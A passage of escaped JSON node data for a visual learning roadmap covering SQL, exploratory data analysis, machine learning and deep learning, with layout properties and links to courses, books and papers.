\"width\": 387,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1442.932766177383\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 387,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 387,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Bh3vUHjY9So8vWli_464_\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1551.72719179845\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Algorithms Specialization\",\n        \"href\": \"https://imp.i384100.net/5gqv4n\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 387,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1551.72719179845\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 387,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 387,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Im0tXXn3GC-FUq2aMHgwm\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": -252.60970787732018,\n        \"y\": 1625.613764362119\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn SQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"eOFoGKveaHaBm_6ppJUtA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": -252.60970787732018,\n        \"y\": 1625.613764362119\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 134,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"22XRxoVJX-hIdinkFICPU\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1667.4659358409885\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL Tutorial\",\n        \"href\": \"https://sqltutorial.org/\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 387,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -227.93697112052075,\n        \"y\": 1667.4659358409885\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 387,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 387,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Sx6HhmEozlX7CEXQoVkTf\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 182.89029212267985,\n        \"y\": 1183\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"rKb8lqYH0GC_6R5qybzzM\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 96,\n      \"positionAbsolute\": {\n        \"x\": 182.89029212267985,\n        \"y\": 1183\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 96\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 96\n      }\n    },\n    {\n      \"id\": \"l1027SBZxTHKzqWw98Ee-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 304.89029212267985,\n        \"y\": 1252.2340815556822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exploratory Data Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kBdt_t2SvVsY3blfubWIz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 304.89029212267985,\n        \"y\": 1252.2340815556822\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YJ2fIGILZJjobx5CAD6QW\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 273.89029212267985,\n        \"y\": 1258.7340815556822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"5\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0062ff\"\n        },\n        \"oldId\": \"wOqfPAZ24GxUrkxVRRyT5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 27,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 273.89029212267985,\n        \"y\": 1258.7340815556822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 27,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"JaN8YhMeN3whAe2TCXvw9\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": 245,\n        \"y\": 1327.94348613687\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data understanding, Data Analysis and Visualization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"uPzzUpI0--7OWDfNeBIjt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 461,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": 245,\n        \"y\": 1327.94348613687\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 461,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 461,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"wG3LU8181BGihDVYJVI09\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 278,\n        \"y\": 1366.2347754827133\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exploratory Data Analysis with Python and Pandas\",\n        \"href\": \"https://imp.i384100.net/AWAv4R\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"bsj2IHFXur-qqDSI4B1wg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 478,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 278,\n        \"y\": 1366.2347754827133\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 478,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 478,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R4MhS5WFGaGOLNq6SRpy0\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 278,\n        \"y\": 1419.2347754827133\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exploratory Data Analysis for Machine Learning\",\n        \"href\": \"https://imp.i384100.net/GmQMLE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"bsj2IHFXur-qqDSI4B1wg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 478,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 278,\n        \"y\": 1419.2347754827133\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 478,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 478,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mpPs2k7oT7EWrhQwaoPXr\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 278,\n        \"y\": 1472.2347754827133\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Python for Data Visualization: Matplotlib & Seaborn\",\n        \"href\": \"https://imp.i384100.net/55xvzn\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"bsj2IHFXur-qqDSI4B1wg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 478,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 278,\n        \"y\": 1472.2347754827133\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 478,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 478,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FsU7_B1LCULtlVQg7gEPR\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 776,\n        \"y\": 1275.5\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 288,\n      \"positionAbsolute\": {\n        \"x\": 776,\n        \"y\": 1275.5\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 288\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 288\n      }\n    },\n    {\n      \"id\": \"ofcYD3hTVEMeRptkHsVer\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 525.8902921226799,\n        \"y\": 1551.72719179845\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"GFlPWkEVwPlxPhOitG1xH\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 525.8902921226799,\n        \"y\": 1551.72719179845\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 261,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"kBdt_t2SvVsY3blfubWIz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 336.89029212267985,\n        \"y\": 1537.22719179845\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Machine Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4WZL_fzJ3cZdWLLDoWN8D\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 336.89029212267985,\n        \"y\": 1537.22719179845\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wOqfPAZ24GxUrkxVRRyT5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 299.89029212267985,\n        \"y\": 1543.72719179845\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"6\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0062ff\"\n        },\n        \"oldId\": \"qRxvTDjpoW1GuQ771syXb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 27,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 299.89029212267985,\n        \"y\": 1543.72719179845\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 27,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"oeNjgke33Daibit1E6Rqr\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 211.89029212267985,\n        \"y\": 1551.72719179845\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"q_oYxEPUvEylwjAyDA5FL\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 211.89029212267985,\n        \"y\": 1551.72719179845\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 88,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 88,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"FdBih8tlGPPy97YWq463y\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": 245,\n        \"y\": 1619.1289204774196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Classic ML (Sup., Unsup.), Advanced ML (Ensembles, NNs)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"uPzzUpI0--7OWDfNeBIjt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 536,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": 245,\n        \"y\": 1619.1289204774196\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 536,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 536,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"MyBAdtFSNVOnpw1BPQNky\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 272,\n        \"y\": 1657.1289204774196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Open Machine Learning Course - Open Data Science\",\n        \"href\": \"https://mlcourse.ai/book/topic01/topic01_intro.html\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"bsj2IHFXur-qqDSI4B1wg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 516,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 272,\n        \"y\": 1657.1289204774196\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 516,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 516,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qCjcQWK1RGUU6K3dljow2\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 272,\n        \"y\": 1709\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Machine Learning Specialization\",\n        \"href\": \"https://imp.i384100.net/oqGkrg\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Course\",\n        \"oldId\": \"bsj2IHFXur-qqDSI4B1wg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 516,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 272,\n        \"y\": 1709\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 516,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 516,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"erDpbh0iRTfoUQrU4uEMs\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 272,\n        \"y\": 1779.259275392802\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pattern Recognition & ML by Christopher m. Bishop\",\n        \"href\": \"https://microsoft.com/en-us/research/uploads/prod/2006/01/Bishop-Pattern-Recognition-and-Machine-Learning-2006.pdf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"eBook\",\n        \"oldId\": \"bsj2IHFXur-qqDSI4B1wg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 516,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 272,\n        \"y\": 1779.259275392802\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 516,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 516,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9yKXxruT8s9KBEFf_Twd0\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": 272,\n        \"y\": 1832.1050525886042\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub repository with notes & code from the eBook above\",\n        \"href\": \"https://github.com/gerdm/prml\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"\",\n        \"oldId\": \"bsj2IHFXur-qqDSI4B1wg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 516,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 272,\n        \"y\": 1832.1050525886042\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 516,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 516,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uCZ6_FKeaY0lCkrNttNhz\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 201.89029212267982,\n        \"y\": 1561.1289204774196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"rKb8lqYH0GC_6R5qybzzM\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 204,\n      \"positionAbsolute\": {\n        \"x\": 201.89029212267982,\n        \"y\": 1561.1289204774196\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 204\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 204\n      }\n    },\n    {\n      \"id\": \"41yv5UhFw3kHIrAMQb6qy\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 24.890292122679853,\n        \"y\": 1754.1289204774196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"deHK6yEdytCu2ACvVC0bs\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 188,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 24.890292122679853,\n        \"y\": 1754.1289204774196\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 188,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 188,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"cjvVLN0XjrKPn6o20oMmc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -153.75449749114952,\n        \"y\": 1739.6289204774196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Deep Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qa85hEVe2kz62k9Pj4QCA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -153.75449749114952,\n        \"y\": 1739.6289204774196\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rarV0SS26NyqAHkYeqsfa\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -188.75449749114966,\n        \"y\": 1746.1289204774196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"7\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#0062ff\"\n        },\n        \"oldId\": \"Sehg_WX_mnMCRlKrvwWzc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 25,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -188.75449749114966,\n        \"y\": 1746.1289204774196\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 25,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"iJv3Ii5B5TK8i5mN2mLs2\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -270.93697112052075,\n        \"y\": 1754.1289204774196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -270.93697112052075,\n        \"y\": 1754.1289204774196\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 79,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"kBQV71KwuVxpUi0nFj17X\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -281,\n        \"y\": 1763\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 360,\n      \"positionAbsolute\": {\n        \"x\": -281,\n        \"y\": 1763\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 360\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 360\n      }\n    },\n    {\n      \"id\": \"eOFoGKveaHaBm_6ppJUtA\",\n      \"type\": \"todo\",\n      \"position\": {\n        \"x\": -254.10970787732015,\n        \"y\": 1823.259275392802\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Fully Connected, CNN, RNN, LSTM, Transformers, TL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"padding\": 0\n        },\n        \"oldId\": \"n2JFGwFxTuOviW6kHO1Uv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 450,\n      \"height\": 38,\n      \"positionAbsolute\": {\n        \"x\": -254.10970787732015,\n        \"y\": 1823.259275392802\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 450,\n        \"height\": 38\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 450,\n        \"height\": 38\n      }\n    },\n    {\n      \"id\": \"4TyV6lDCVCOIOhmY9bgPC\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -231.10970787732015,\n        \"y\": 1862.0843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Deep Learning Specialization\",\n        \"href\": \"https://imp.i384100.net/Wq9MV3\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Courses\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 406,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -231.10970787732015,\n        \"y\": 1862.0843010493045\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 406,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 406,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-rl87TRJZTWqbQmW95NAi\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -231.10970787732015,\n        \"y\": 1915.0843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Deep Learning Book\",\n        \"href\": \"https://www.deeplearningbook.org/\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"eBook\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 406,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -231.10970787732015,\n        \"y\": 1915.0843010493045\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 406,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 406,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"54pd0lYYLvuNYmuaOZbrT\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -231.10970787732015,\n        \"y\": 1968.0843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Attention is all you need\",\n        \"href\": \"https://arxiv.org/pdf/1706.03762\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Paper\",\n        \"oldId\": \"lm3BCmHTcd-_cOIc_dDmU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 406,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -231.10970787732015,\n        \"y\": 1968.0843010493045\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 406,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 406,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lm3BCmHTcd-_cOIc_dDmU\",\n      \"type\": \"resourceButton\",\n      \"position\": {\n        \"x\": -231.10970787732015,\n        \"y\": 2021.0843010493045\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"The Illustrated Transformer\",\n        \"href\": \"https://jalammar.github.io/illustrated-transformer/\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"color\": \"#000000\",\n          \"backgroundColor\": \"#FFE599\",\n          \"badgeColor\": \"#9900FF\"\n        },\n        \"badge\": \"Article\",\n        \"oldId\": \"R0lIHKW2JmXQp79hoGU6x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 406,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -231.10970787732015,\n        \"y\": 2021.0843010493045\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 406,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 406,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"deHK6yEdytCu2ACvVC0bs\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -271.10970787732015,\n        \"y\": 2112\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"ofcYD3hTVEMeRptkHsVer\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 515,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -271.10970787732015,\n        \"y\": 2112\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 515,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 515,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Nn5ZjuUG_uEbCxcIcYY9U\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 231.89029212267985,\n        \"y\": 1935\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"jVVrvW1PCXEKz5IfJMXKo\",\n        \"style\": {\n          \"stroke\": \"#0062FF\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 188,\n      \"positionAbsolute\": {\n        \"x\": 231.89029212267985,\n        \"y\": 1935\n      },\n      \"dragging\": false,\n      